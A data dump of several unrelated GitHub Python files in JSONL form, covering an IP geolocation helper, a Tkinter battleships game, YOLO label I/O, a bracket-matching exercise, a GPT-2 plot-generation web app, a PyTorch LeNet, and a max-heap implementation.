returnType.lower()\n if returnType in countryValidTypes:\n if returnType == 'plain':\n return getPlainResponse(countryLookup[returnType] + '/' + ipAddress)\n elif returnType == 'plainfull':\n return getPlainResponse(countryLookup[returnType] + '/' + ipAddress)\n else:\n return getJsonResponse(countryLookup[returnType], ipAddress)\n else:\n raise ValueError('\\'returnType\\' does not belong in valid types: ' + str(countryValidTypes))\n else:\n raise TypeError('\\'returnType\\' must be of type \\'str\\'(' + type(returnType).__name__ + ' was given).')\n\n# Gets all available geodata for a specific IP address. \ndef getGeoData(ipAddress):\n if isinstance(ipAddress, str):\n return getJsonResponse(geoJson, ipAddress)\n else:\n raise TypeError(\"\\'ipAddress\\' is not an instance of list.\")\n\n# Gets the DNS PTR record of an IP address, if possible.\ndef getPTR(ipAddress):\n if not isinstance(ipAddress, str):\n raise TypeError(\"\\'ipAddress\\' is not an instance of list.\")\n return getPlainResponse(ptrPlain)\n\n# Gets all country information for an IP address.\ndef showCountryDetails(ip=''):\n result = \"\"\n if ip == '':\n ip = getIP('plain')\n countryData = getCountry(ip, 'json')\n result += '-' * dotNumber + '\\n'\n result += (dotNumber//2 - len(countryTitle)//2) * ' ' + countryTitle\n result += '-' * dotNumber + '\\n'\n for key, value in countryData.items():\n cleanKey = key.replace('_',' ').capitalize() + ':'\n cleanKey = cleanKey.ljust(countryPadding, ' ')\n result += cleanKey + str(value) + '\\n'\n result += '-' * dotNumber + '\\n'\n print(result)\n\n# Get all available information provided for a specific IP address (country, location, region, etc.).\ndef showIpDetails(ip=''):\n result = \"\"\n if ip == '':\n ip = getIP('plain')\n country = getCountry(ip, 'plainFull')\n result += '-' * dotNumber + '\\n'\n result += (dotNumber//2 - len(hostTitle)//2) * ' ' + hostTitle\n result += '-' * dotNumber + '\\n'\n result += 'Country: '.ljust(countryPadding,' ') + country + '\\n'\n geoData = getGeoData(ip)\n ptrData = getPTR(ip)\n for key, value in geoData.items():\n cleanKey = key.replace('_',' ').capitalize() + ':'\n cleanKey = cleanKey.ljust(countryPadding,' ')\n result += cleanKey + str(value) + '\\n'\n result += '-' * dotNumber + '\\n'\n print(result)\n","repo_name":"VasilisG/IP-location-tracker","sub_path":"geo.py","file_name":"geo.py","file_ext":"py","file_size_in_byte":5072,"program_lang":"python","lang":"en","doc_type":"code","stars":55,"dataset":"github-code","pt":"79"} +{"seq_id":"42011932485","text":"#see the readme.md file for description and data from typing import Any, Union, Tuple, List\r\n\r\nimport random\r\nfrom tkinter import *\r\nfrom tkinter import ttk\r\n\r\nshots = 0 #global variable to count the total number of shots\r\n\r\ndef ship_position(ship): #returns a list of tuples giving all coordinates of a ship\r\n ship_pos = [(ship[0], ship[1])]\r\n if ship[2] == True:\r\n for i in range(1, ship[3]):\r\n ship_pos.append((ship[0], ship[1] + i))\r\n elif ship[2] == False:\r\n for i in range(1, ship[3]):\r\n ship_pos.append((ship[0] + i, ship[1]))\r\n return ship_pos\r\n\r\n\r\ndef is_sunk(ship):\r\n if ship[3] == len(ship[4]):\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef ship_type(ship):\r\n if ship[3] == 4:\r\n return \"battleship\"\r\n elif ship[3] == 3:\r\n return \"cruiser\"\r\n elif ship[3] == 2:\r\n return \"destroyer\"\r\n else:\r\n return \"submarine\"\r\n\r\n\r\ndef is_open_sea(row, column, fleet):\r\n if (row > 9 or row < 0) or (column > 9 or column < 0):\r\n return False\r\n else:\r\n for ship in fleet:\r\n ship_pos = ship_position(ship)\r\n for pos in ship_pos:\r\n if row == pos[0]:\r\n if column == pos[1] or column == pos[1]+1 or column == pos[1]-1:\r\n return False\r\n if row == pos[0]-1:\r\n if column == pos[1] or column == pos[1] + 1 or column == pos[1] - 1:\r\n return False\r\n if row == pos[0]+1:\r\n if column == pos[1] or column == pos[1]+1 or column == pos[1]-1:\r\n return False\r\n return True\r\n\r\n\r\ndef ok_to_place_ship_at(row, column, horizontal, length, fleet):\r\n hits = set()\r\n tempship = (row, column, horizontal, length, hits)\r\n ok = True\r\n ship_pos = ship_position(tempship)\r\n for pos in ship_pos:\r\n if is_open_sea(pos[0], pos[1], fleet) == False:\r\n ok = False\r\n if ok == True:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef place_ship_at(row, column, horizontal, length, fleet):\r\n hits = set()\r\n new_ship = (row, column, horizontal, length, hits)\r\n fleet.append(new_ship)\r\n\r\n\r\ndef randomly_place_all_ships():\r\n fleet = []\r\n finished = False\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n\r\n #battleship\r\n while finished == False:\r\n if ok_to_place_ship_at(row, col, horiz, 4, fleet) == True:\r\n place_ship_at(row,col,horiz,3,fleet)\r\n finished = True\r\n else:\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n finished = False\r\n\r\n #re-randomize the values\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n\r\n #cruisers\r\n while finished == False:\r\n if ok_to_place_ship_at(row, col, horiz, 3, fleet) == True:\r\n place_ship_at(row,col,horiz,3,fleet)\r\n finished = True\r\n else:\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n finished = False\r\n # re-randomize the values\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n\r\n while finished == False:\r\n if ok_to_place_ship_at(row, col, horiz, 3, fleet) == True:\r\n place_ship_at(row,col,horiz,3,fleet)\r\n finished = True\r\n else:\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n finished = False\r\n\r\n # re-randomize the values\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n\r\n #destroyers\r\n while finished == False:\r\n if ok_to_place_ship_at(row, col, horiz, 2, fleet) == True:\r\n place_ship_at(row,col,horiz,2,fleet)\r\n finished = True\r\n else:\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n finished = False\r\n\r\n # re-randomize the values\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n\r\n while finished == False:\r\n if ok_to_place_ship_at(row, col, horiz, 2, fleet) == True:\r\n place_ship_at(row,col,horiz,2,fleet)\r\n finished = True\r\n else:\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n finished = False\r\n\r\n # re-randomize the values\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n\r\n while finished == False:\r\n if ok_to_place_ship_at(row, col, horiz, 2, fleet) == True:\r\n place_ship_at(row,col,horiz,2,fleet)\r\n finished = True\r\n else:\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n finished = False\r\n\r\n # re-randomize the values\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n\r\n #submarines\r\n while finished == False:\r\n if ok_to_place_ship_at(row, col, horiz, 1, fleet) == True:\r\n place_ship_at(row,col,horiz,1,fleet)\r\n finished = True\r\n else:\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n finished = False\r\n\r\n # re-randomize the values\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n\r\n while finished == False:\r\n if ok_to_place_ship_at(row, col, horiz, 1, fleet) == True:\r\n place_ship_at(row,col,horiz,1,fleet)\r\n finished = True\r\n else:\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n finished = False\r\n # re-randomize the values\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n\r\n while finished == False:\r\n if ok_to_place_ship_at(row, col, horiz, 1, fleet) == True:\r\n place_ship_at(row,col,horiz,1,fleet)\r\n finished = True\r\n else:\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n finished = False\r\n # re-randomize the values\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n\r\n while finished == False:\r\n if ok_to_place_ship_at(row, col, horiz, 1, fleet) == True:\r\n place_ship_at(row,col,horiz,1,fleet)\r\n finished = True\r\n else:\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n finished = False\r\n # re-randomize the values\r\n row = random.randint(0, 10)\r\n col = random.randint(0, 10)\r\n horiz = random.choice([True, False])\r\n\r\n return fleet\r\n\r\n\r\ndef check_if_hits(row, column, fleet):\r\n hit = False\r\n check_hit = (row, column)\r\n for ship in fleet:\r\n ship_pos = ship_position(ship)\r\n for pos in ship_pos:\r\n if check_hit == pos:\r\n hit = True\r\n if hit == True:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef hit(row, column, fleet):\r\n check_hit = (row, column)\r\n for ship in fleet:\r\n ship_pos = ship_position(ship)\r\n for pos in ship_pos:\r\n if check_hit == pos:\r\n ship[4].add(check_hit)\r\n if ship[3] == len(ship[4]):\r\n print(\"You sank a \" + ship_type(ship))\r\n if are_unsunk_ships_left(fleet) == False:\r\n print(\"You win! Total shots = \" + str(shots))\r\n return (fleet, ship)\r\n\r\n\r\n\r\ndef are_unsunk_ships_left(fleet):\r\n sunk_count = 0\r\n for ship in fleet:\r\n if is_sunk(ship) == True:\r\n sunk_count +=1\r\n if len(fleet) == sunk_count:\r\n return False\r\n else:\r\n return True\r\n\r\n\r\n#the following 3 functions are all needed for createbuttons()\r\ndef labelx(t, c, r, b):\r\n ttk.Label(b, text=t).grid(column=c, row=r, sticky=W, padx=5)\r\n\r\ndef labely(t, c, r, b):\r\n ttk.Label(b, text=t).grid(column=c, row=r, sticky=W)\r\n\r\ndef shoot(r, c, fleet, b):\r\n global shots\r\n if check_if_hits(r, c, fleet) == True:\r\n print(\"You hit!\")\r\n hit(r, c, fleet) #the hit function then deals with checking if a ship has been sunk and communicating that\r\n b.configure(bg=\"green\")\r\n shots +=1\r\n else:\r\n print(\"You missed\")\r\n b.configure(bg=\"red\")\r\n shots += 1\r\n\r\n\r\n\r\ndef createbuttons(board, tempfleet): #this creates the axis and the button grid\r\n for i in range(0, 10):\r\n labelx(i, i + 2, 1, board)\r\n\r\n for j in range(0, 10):\r\n labely(j, 1, j + 2, board)\r\n\r\n for i in range(2, 12):\r\n for j in range(2, 12):\r\n btn = Button(board)\r\n btn.config(width=3, command=lambda r=i-2, c=j-2, fleet=tempfleet, b=btn: shoot(r, c, fleet, b)) #this feeds the button corrdinates into shoot() when the button is clicked\r\n btn.grid(column=i, row=j)\r\n\r\n\r\ndef quitter(): #this is needed for the quit button\r\n sys.exit()\r\n\r\ndef main():\r\n\r\n current_fleet = randomly_place_all_ships()\r\n\r\n #the following sets up the board\r\n root = Tk()\r\n title = ttk.Label(root)\r\n title.configure(text=\"Battleships\", anchor=\"center\")\r\n title.grid(column = 1, row = 1)\r\n subtitle = ttk.Label(root)\r\n subtitle.configure(text=\"Click on a square to shoot!\", anchor=\"center\")\r\n subtitle.grid(column=1, row=2)\r\n\r\n board = ttk.Frame(root, padding=\"5 5 5 5\")\r\n board.grid(column=1, row=3, sticky=(N, W, E, S))\r\n root.columnconfigure(0, weight=1)\r\n root.rowconfigure(0, weight=1)\r\n\r\n #each square is a button, created using loops\r\n createbuttons(board, current_fleet)\r\n\r\n #this creates the lower portion of the board and the quit button\r\n scores = ttk.Frame(root, padding=\"5 5 5 5\")\r\n scores.grid(column=1, row=4, sticky=(W, E))\r\n quit_button = Button(scores)\r\n quit_button.configure(text=\"Quit\", bg=\"red\", command=quitter)\r\n quit_button.grid(column=1, row=1)\r\n\r\n\r\n root.mainloop()\r\n\r\nif __name__ == '__main__': #keep this in\r\n main()\r\n","repo_name":"franc17/battleships","sub_path":"battleships.py","file_name":"battleships.py","file_ext":"py","file_size_in_byte":10712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"74426490174","text":"import cv2\nimport pandas as pd\nfrom .ops import LabelRatio2Coord, clipping_coordinate\nfrom data_process.file_utils.basic import TraverseDir, PathHandler\n\n# cv2.putText(影像, 文字, 座標, 字型, 大小, 顏色, 線條寬度, 線條種類)\n\ndef PlotBox(img, bbox, info=None):\n # Color set\n color_set = {'0': (0, 255, 255), # yellow\n '1': (255, 255, 0), # blue\n '2': (0, 255, 0)} # green\n h, w, _ = img.shape\n if 'x1' in bbox and bbox['x1'] < 1:\n bbox = LabelRatio2Coord(img, bbox)\n if bbox is False:\n return False\n text_coord = clipping_coordinate(img, [bbox['x1'] - w*0.01, bbox['y1'] - h*0.01])\n if info is not None and 'label' in info:\n print('plot', text_coord, img.shape)\n cv2.putText(img, str(bbox['label']),\\\n tuple(text_coord), cv2.FONT_HERSHEY_SIMPLEX,\\\n w*0.002, (0, 255, 255), 2, cv2.LINE_AA)\n cv2.rectangle(img, (bbox['x1'], bbox['y1']),\\\n (bbox['x2'], bbox['y2']), color_set[str(bbox['label'])], 2)\n else:\n cv2.rectangle(img, (bbox['x1'], bbox['y1']),\\\n (bbox['x2'], bbox['y2']), color_set['0'], 2)\n\n\ndef ReadYoloLabel(label_path, bbox_format):\n \"\"\"\n bbox_format: 'xyxy' or 'xywh'\n\n returns:\n bbox_list : list of bbox dicts\n *** ratio\n *** clipping\n \"\"\"\n bbox_list = []\n f = open(label_path, 'r')\n for i in f:\n i = i.split(' ')\n bbox = dict()\n label = int(i[0])\n bbox['label'] = label\n if bbox_format == 'xyxy':\n x_center = float(i[1])\n y_center = float(i[2])\n w_box = float(i[3])\n h_box = float(i[4])\n x1 = x_center-w_box/2\n x2 = x_center+w_box/2\n y1 = y_center-h_box/2\n y2 = y_center+h_box/2\n bbox['x_center'] = x_center\n bbox['y_center'] = y_center\n bbox['w_box'] = w_box\n bbox['h_box'] = h_box\n bbox['x1'] = x1\n bbox['x2'] = x2\n bbox['y1'] = y1\n bbox['y2'] = y2\n elif bbox_format == 'xywh':\n x_center = float(i[1])\n y_center = float(i[2])\n w_box = float(i[3])\n h_box = float(i[4])\n bbox['x_center'] = x_center\n bbox['y_center'] = y_center\n bbox['w_box'] = w_box\n bbox['h_box'] = h_box\n bbox_list.append(bbox)\n return bbox_list\n\n\ndef WriteYoloLabel(label_path, bbox_list):\n f = open(label_path, 'w')\n for bbox in bbox_list:\n f.write('%d %f %f %f %f\\n'%(bbox['label'],\\\n bbox['x_center'],\\\n bbox['y_center'],\\\n bbox['w_box'],\\\n bbox['h_box']))\n f.close()\n return True\n\n\ndef WriteYoloLabelListFile(label_file_list):\n pass\n\n\ndef ReadGTFile(gt_file_path, answer_column):\n answer_dict = dict()\n df = pd.read_csv(gt_file_path)\n for i, lpnumber in df.iterrows():\n if isinstance(lpnumber[answer_column], str):\n ans = lpnumber[answer_column].strip()\n answer_dict[ans] = 0\n return answer_dict\n\n\ndef ReadBBoxPredictFile(file_path):\n \"\"\"\n Args:\n file path : str\n\n File format:\n image_name:\n (percentage) (abs)\n ,,,,,\n ...\n end\n\n example:\n image_name:a.jpg\n full,98%,19,30,37,50\n ...\n end\n\n Returns:\n imgs_bbox : dict\n\n {img_name1: [bbox1, bbox2, ...],\n img_name2: [bbox1, bbox2, ...],\n ...\n }\n \"\"\"\n f = open(file_path, 'r')\n imgs_bbox = {}\n img_bbox = []\n imgs_name = []\n for l in f:\n if 'image_name:' in l or 'end' in l:\n if len(img_bbox) != 0:\n img_bbox.sort(key = lambda x: x['conf'], reverse=True)\n imgs_bbox[l] = img_bbox.copy()\n img_bbox = []\n # record image name\n img_name = l.split(':')[-1]\n imgs_name.append(img_name)\n else:\n # Read bboxes!\n l = l.split(',')\n bbox = dict()\n bbox['label'] = l[0]\n bbox['conf'] = float(l[1].split('%')[0])\n bbox['x1'] = int(l[2])\n bbox['y1'] = int(l[3])\n bbox['x2'] = int(l[4])\n bbox['y2'] = int(l[5])\n\n img_bbox.append(bbox)\n return imgs_bbox\n\n\ndef ReadBBoxYoloLabels(dir_path):\n img_file_list = TraverseDir(dir_path, '.jpg', check_exist='txt')\n imgs_bbox = {}\n for img_path in img_file_list:\n label_path = PathHandler(img_path, 'find_txt')\n img = cv2.imread(img_path)\n bboxes = ReadYoloLabel(label_path, 'xyxy')\n abs_bbox_list = []\n for bbox in bboxes:\n bbox = LabelRatio2Coord(img, bbox)\n abs_bbox_list.append(bbox)\n\n imgs_bbox[img_path] = abs_bbox_list.copy()\n return imgs_bbox\n\n\ndef ReadLandmarkFile(file_path, w, h):\n f = open(file_path, 'r')\n preds = []\n for line in f:\n l = line.split(',')\n x = float(l[0]) * w\n y = float(l[1]) * h\n preds.append((x, y))\n if len(preds) > 0:\n return [preds]\n return None\n\n\ndef WriteLandmarkFile(Landmarks, file_path, w, h):\n f = open(file_path, 'w')\n if Landmarks == None:\n f.close()\n return\n for i in range(1, 68+1):\n landmark = Landmarks[i]\n x_ratio = max(min(landmark.x/w, 1.), 0.)\n y_ratio = max(min(landmark.y/h, 1.), 0.)\n # print(x_ratio, y_ratio)\n f.write(str(x_ratio)+\",\"+str(y_ratio)+\"\\n\")\n f.close()\n","repo_name":"heathcliffYang/data_process","sub_path":"src/data_process/label_utils/label_io.py","file_name":"label_io.py","file_ext":"py","file_size_in_byte":5785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"71664801536","text":"# https://www.hackerrank.com/challenges/ctci-balanced-brackets/problem\n\n# Given n strings of brackets, determine whether each sequence of brackets is balanced.\n# If a string is balanced, print YES on a new line; otherwise, print NO on a new line.\n\n# Input Format\n# The first line contains a single integer n denoting the number of strings.\n# Each line i of the n subsequent lines consists of a single string s denoting a sequence of brackets.\n\n# Output Format\n# For each string, print whether or not the string of brackets is balanced on a new line.\n# If the brackets are balanced, print YES; otherwise, print NO.\n\n\n# https://codereview.stackexchange.com/questions/180567/checking-for-balanced-brackets-in-python\ndef is_matched(expression):\n opening = tuple('({[')\n closing = tuple(')}]')\n mapping = dict(zip(opening, closing))\n queue = []\n\n for letter in expression:\n if letter in opening:\n queue.append(mapping[letter])\n elif letter in closing:\n if not queue or letter != queue.pop():\n return False\n return not queue\n\nt = int(input().strip())\nfor a0 in range(t):\n expression = input().strip()\n if is_matched(expression) == True:\n print(\"YES\")\n else:\n print(\"NO\")\n","repo_name":"ck-unifr/hackerrank-cracking-the-code-interview","sub_path":"stacks-balanced-brackets.py","file_name":"stacks-balanced-brackets.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"27961438406","text":"from starlette.applications import Starlette\nfrom starlette.responses import JSONResponse\nfrom starlette.staticfiles import StaticFiles\nfrom starlette.templating import Jinja2Templates\nfrom starlette.routing import Route\nimport uvicorn\nimport os\nimport sys\nimport logging\nfrom random import uniform\nimport run_generation\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.INFO)\n\n# Needed to avoid cross-domain issues\nresponse_header = {\n 'Access-Control-Allow-Origin': '*'\n}\n\nEOG_TOKEN = '<|endofgenre|>'\nEOT_TOKEN = '<|endoftitle|>'\nEOS_TOKEN = '<|endoftext|>'\n\ndef generate_text(params):\n \"\"\"Generate text using transformers.\"\"\"\n prompt = ''\n if not params['genre'] and not params['title'] and not params['prefix']:\n prompt += EOS_TOKEN\n if params['genre']:\n prompt += params['genre'] + EOG_TOKEN\n if params['title']:\n prompt += params['title'] + EOT_TOKEN\n if params['prefix']:\n prompt += params['prefix']\n text = run_generation.main([\n '--model_type=gpt2',\n '--model_name_or_path=app/output',\n f\"--prompt={prompt}\" if prompt else '--prompt=\"\"',\n f'--temperature={float(params[\"temp\"]) if params[\"temp\"] else uniform(0.7, 1)}',\n f'--top_p={float(params[\"top_p\"]) if params[\"top_p\"] else 0}',\n '--num_samples=1',\n '--length=256',\n f'--stop_token={EOS_TOKEN}'\n ])\n return prompt+text\n\ndef parse_text(text):\n \"\"\"Parse text.\"\"\"\n logging.info(text)\n if len(text.split(EOS_TOKEN)[0]) > 0:\n main = text.split(EOS_TOKEN)[0]\n else:\n # eos_token can be at the beginning\n main = text.split(EOS_TOKEN)[1]\n if EOG_TOKEN in main:\n genre = main.split(EOG_TOKEN)[0]\n main = main.split(EOG_TOKEN)[1]\n else:\n genre = ''\n if EOT_TOKEN in main:\n title = main.split(EOT_TOKEN)[-2]\n main = main.split(EOT_TOKEN)[-1]\n else:\n title = ''\n plot = '.'.join(main.split('.')[:-1])+'.'\n return {\n 'genre': genre.strip(),\n 'title': title.strip(),\n 'plot': plot.strip()\n }\n\nasync def generate(request):\n \"\"\"Generate text and return the parsed result as a dict.\"\"\"\n if request.method == 'GET':\n params = request.query_params\n elif request.method == 'POST':\n params = await request.json()\n elif request.method == 'HEAD':\n return JSONResponse({'text': ''}, headers=response_header)\n logging.info(params)\n return JSONResponse(parse_text(generate_text(params)), headers=response_header)\n\nasync def homepage(request):\n \"\"\"Return HTML homepage.\"\"\"\n return templates.TemplateResponse('index.html', {'request': request})\n\nroutes = [\n Route(\"/\", endpoint=homepage),\n Route(\"/generate\", endpoint=generate, methods=[\"GET\", \"POST\"]),\n]\n\napp = Starlette(routes=routes, debug=True)\napp.mount('/static', StaticFiles(directory='app/static'))\ntemplates = Jinja2Templates(directory='app/templates')\n\nif __name__ == \"__main__\":\n uvicorn.run(app, host='0.0.0.0', port=int(os.environ.get('PORT', 5000)), log_level=\"info\")","repo_name":"polakowo/textai","sub_path":"MoviePlots/text_generation/with-titles/app/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3058,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"79"} +{"seq_id":"26064560717","text":"import sys\nimport os\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nfrom utils import EncryptionUtility\n\ndef test_encryption_decryption():\n original_message = \"Secret Message\"\n key = EncryptionUtility.generate_key()\n encrypted_message = EncryptionUtility.encrypt_message(original_message, key)\n decrypted_message = EncryptionUtility.decrypt_message(encrypted_message, key)\n\n assert original_message == decrypted_message","repo_name":"Cdaprod/cda.CredKeeper","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"1934243896","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass LeNet(nn.Module):\n\tdef __init__(self):\n\t\tsuper(LeNet, self).__init__()\n\t\tself.conv1 = nn.Conv2d(1, 10, kernel_size=5)\n\t\tself.conv2 = nn.Conv2d(10, 20, kernel_size=5)\n\t\tself.conv2_drop = nn.Dropout2d()\n\t\tself.fc1 = nn.Linear(320, 50)\n\t\tself.fc2 = nn.Linear(50, 10)\n\n\tdef forward(self, x):\n\t\tx = F.relu(F.max_pool2d(self.conv1(x), 2))\n\t\tx = F.relu(F.max_pool2d(self.conv2_drop(self.conv2(x)), 2))\n\t\tx = x.view(-1, 320)\n\t\tx = F.relu(self.fc1(x))\n\t\tx = F.dropout(x, training=self.training)\n\t\tx = self.fc2(x)\n\t\treturn F.log_softmax(x)\n\t\n\tdef name(self):\n\t\treturn 'LeNet'\n\nclass MLPNet(nn.Module):\n def __init__(self):\n super(MLPNet, self).__init__()\n self.fc1 = nn.Linear(28*28, 500)\n self.fc2 = nn.Linear(500, 256)\n self.fc3 = nn.Linear(256, 10)\n self.ceriation = nn.CrossEntropyLoss()\n def forward(self, x, target):\n x = x.view(-1, 28*28)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = F.relu(self.fc3(x))\n loss = self.ceriation(x, target)\n return x, loss\n def name(self):\n return 'MLPNet'","repo_name":"jackyko1991/MNIST-pytorch","sub_path":"net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"5029301295","text":"''' *****************************************************************************\n * Name: Arbaaz Khan\n * Language: python3 \n *\n * Description: Implementation of maximum heap datastructure.\n *\n * Written: 8/1/2018\n * Last updated: 8/1/2018\n * \n * TIME COMPLEXITIES:\n * -----------------------------------------------------------------\n * | Operations | WorstCase | AverageCase | BestCase |\n * -----------------------------------------------------------------\n * | insertion | bigO(-) | bigO(-) | bigO(-) |\n * -----------------------------------------------------------------\n * | deletion | bigO(-) | bigO(-) | bigO(-) |\n * -----------------------------------------------------------------\n * | traversal | bigO(-) | bigO(-) | bigO(-) |\n * -----------------------------------------------------------------\n * | searching | bigO(-) | bigO(-) | bigO(-) |\n * -----------------------------------------------------------------\n * | bubbleUp | bigO(-) | bigO(-) | bigO(-) |\n * -----------------------------------------------------------------\n * | bubbleDown | bigO(-) | bigO(-) | bigO(-) |\n * -----------------------------------------------------------------\n * | findMax | bigO(1) | bigO(1) | bigO(1) |\n * -----------------------------------------------------------------\n *\n * % python maxheap.py\n *\n***************************************************************************** '''\nclass Heap(object):\n HEAP_SIZE = 10\n\n def __init__(self):\n self.heap = [0]*self.HEAP_SIZE\n self.current_position = -1\n\n def insert(self,item):\n if self.isFull():\n print(\"Heap is full!\")\n else:\n self.current_position += 1\n self.heap[self.current_position] = item\n self.bubbleUp(self.current_position)\n\n def isFull(self):\n if self.current_position+1 == self.HEAP_SIZE:\n return True\n else:\n return False\n def isEmpty(self):\n if self.current_position == -1:\n return True\n else:\n return False\n\n def bubbleUp(self,pos): \n ### Ensures that the new item inserted maintains the rule of max-heap. ###\n # pos holds the index of the item whose position has to be checked that whether it follows the rule of the max heap\n # the item in question is compared with it's parent (pos-1/2), since in max heap the parent is greater than it's children\n # the item has to be swapped with it's parent if is found to be greater than it's parent. After swapping the item moves to\n # it's parent's place, now it's position is again checked by comparing it with it's parent. For this the pos is updated as \n # the item has moved to it's parent's place. Hence the parent index is also updated.\n if pos < 0: #Don't perform bubbleup if index becomes negative\n return\n parent_index = (pos-1)//2 #floor int value is used\n while parent_index >= 0 and self.heap[pos] >= self.heap[parent_index]:\n temp = self.heap[parent_index]\n self.heap[parent_index] = self.heap[pos]\n self.heap[pos] = temp\n pos = parent_index\n parent_index = (pos-1)//2\n\n def findMax(self):\n if not self.isEmpty():\n return self.heap[0]\n else:\n print(\"Heap is empty!\")\n\n def heapSort(self):\n # It works by putting the largest item in the last node in each iteration. \n # It swaps the root node with the last node\n # \n # \n for i in range(self.current_position+1):\n temp = self.heap[0]\n self.heap[0] = self.heap[self.current_position-i]\n self.heap[self.current_position-i] = temp\n self.bubbleDown(self.current_position-i-1)\n \n def bubbleDown(self,pos):\n root_index = 0\n if pos<0:\n return\n while root_index < pos:\n if((2*root_index+1 <= pos) and (2*root_index+2 <= pos)): \n if (self.heap[root_index] < self.heap[2*root_index+1]) and (self.heap[root_index] < self.heap[2*root_index+2]):\n if self.heap[2*root_index+1] > self.heap[2*root_index+2]:\n temp = self.heap[root_index]\n self.heap[root_index] = self.heap[2*root_index+1]\n self.heap[2*root_index+1] = temp\n root_index = 2*root_index+1\n else:\n temp = self.heap[root_index]\n self.heap[root_index] = self.heap[2*root_index+2]\n self.heap[2*root_index+2] = temp\n root_index = 2*root_index+2\n elif (self.heap[root_index] < self.heap[2*root_index+1]):\n temp = self.heap[root_index]\n self.heap[root_index] = self.heap[2*root_index+1]\n self.heap[2*root_index+1] = temp\n root_index = 2*root_index+1\n elif (self.heap[root_index] < self.heap[2*root_index+2]):\n temp = self.heap[root_index]\n self.heap[root_index] = self.heap[2*root_index+2]\n self.heap[2*root_index+2] = temp\n root_index = 2*root_index+2\n else:\n break\n elif (2*root_index+1 <= pos):\n if self.heap[root_index] < self.heap[2*root_index+1]:\n temp = self.heap[root_index]\n self.heap[root_index] = self.heap[2*root_index+1]\n self.heap[2*root_index+1] = temp\n root_index = 2*root_index+1\n else:\n break\n else:\n break\n\n def show(self):\n for i in range(self.current_position+1):\n print(self.heap[i])\n\nheap = Heap()\nheap.insert(5)\nheap.insert(4)\nheap.insert(10)\nheap.insert(3)\nheap.insert(2)\nheap.insert(100)\nheap.insert(12)\nheap.insert(40)\nheap.show()\nprint(\"Max value = \",heap.findMax())\nheap.heapSort()\nprint(\"After heapsort\")\nheap.show()\n","repo_name":"arzzon/PythonLearning","sub_path":"DataStructures/Heap/MaxHeap/maxheap_old_first_approach.py","file_name":"maxheap_old_first_approach.py","file_ext":"py","file_size_in_byte":6239,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"9113060347","text":"import numpy as np\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.metrics import f1_score as f1\nfrom keras.preprocessing.text import Tokenizer\nfrom sklearn.ensemble import RandomForestClassifier, VotingClassifier\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn import svm\nimport warnings\nfrom sklearn.model_selection import GridSearchCV\nimport lyp_preprocessing as lyp\nimport kent\nimport util\nfrom sklearn.tree import DecisionTreeClassifier\nimport collections\nfrom gensim.models import KeyedVectors\n#from xgboost import XGBClassifier\nimport mord\nimport re\n\ndef get_para(view, like, dislike, comment):\n \"\"\"\n :param view: number of view, NumPy array shape (n_examples, 1)\n :param like: number of like, NumPy array shape (n_examples, 1)\n :param dislike: number dislike, NumPy array shape (n_examples, 1)\n :param comment: number of comment, NumPy array shape (n_examples, 1)\n :return: parameter, NumPy 